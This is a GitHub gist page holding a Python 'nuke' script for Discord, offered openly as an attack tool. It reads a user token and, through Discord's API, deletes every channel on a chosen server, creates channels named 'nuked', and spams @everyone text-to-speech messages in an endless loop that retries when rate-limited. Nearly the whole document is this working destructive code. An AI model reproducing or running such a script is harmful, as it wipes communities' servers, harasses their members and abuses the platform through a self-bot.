Created
February 18, 2023 22:36
-
-
Save mov-ebx/9490bc7bc6d5e24d9616fa617557a73b to your computer and use it in GitHub Desktop.
Discord user (self-bot) nuke script.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# user nuke bot, not tested with bot tokens | |
# put your discord token in a file called token.txt | |
import requests, threading | |
### | |
channel_name = 'nuked' # set this to the text you want the channel to be named | |
channel_text = '@everyone https://github.com/mov-ebx' # set this to the text you want to say in the channel | |
tts = True # text to speech? | |
amount_of_channels = 1 # amount of channels you want to nuke with | |
delete_all_channels = True # deletes channels of the server | |
### | |
token = open('token.txt', 'r').read() | |
guild_id = 0 # set this to the guild id of the server you wanna nuke | |
### | |
headers = { 'accept':'*/*', 'content-type':'application/json', 'accept-encoding':'gzip', 'accept-language':'en-US', 'authorization':token, 'dnt':'1', 'referer':'https://discord.com/channels/@me', 'user-agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.41', 'x-debug-options':'bugReporterEnabled', 'x-discord-locale':'en-US' } | |
def spam(): | |
r = requests.post(f'https://discord.com/api/v9/guilds/{guild_id}/channels', headers=headers, json={'type': 0, 'name': channel_name}) | |
if r.status_code == 429: | |
spam() # retry on ratelimit | |
return | |
id = r.json()['id'] | |
if tts: | |
requests.put(f'https://discord.com/api/v9/channels/{id}/permissions/{guild_id}', headers=headers,json={id: str(guild_id), 'type': 0, 'allow': '4096', 'deny': '0'}) | |
while True: | |
requests.post(f'https://discord.com/api/v9/channels/{id}/messages', headers=headers,json={'content': channel_text,'tts': tts, 'flags': 0}) | |
if delete_all_channels: | |
for channel in requests.get(f'https://discord.com/api/v9/guilds/{guild_id}/channels', headers=headers).json(): | |
requests.delete('https://discord.com/api/v9/channels/'+channel['id'], headers=headers) | |
print("Deleted all channels!") | |
threads = [] | |
for item in range(0, amount_of_channels): | |
thread = threading.Thread(target=spam) | |
thread.start() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment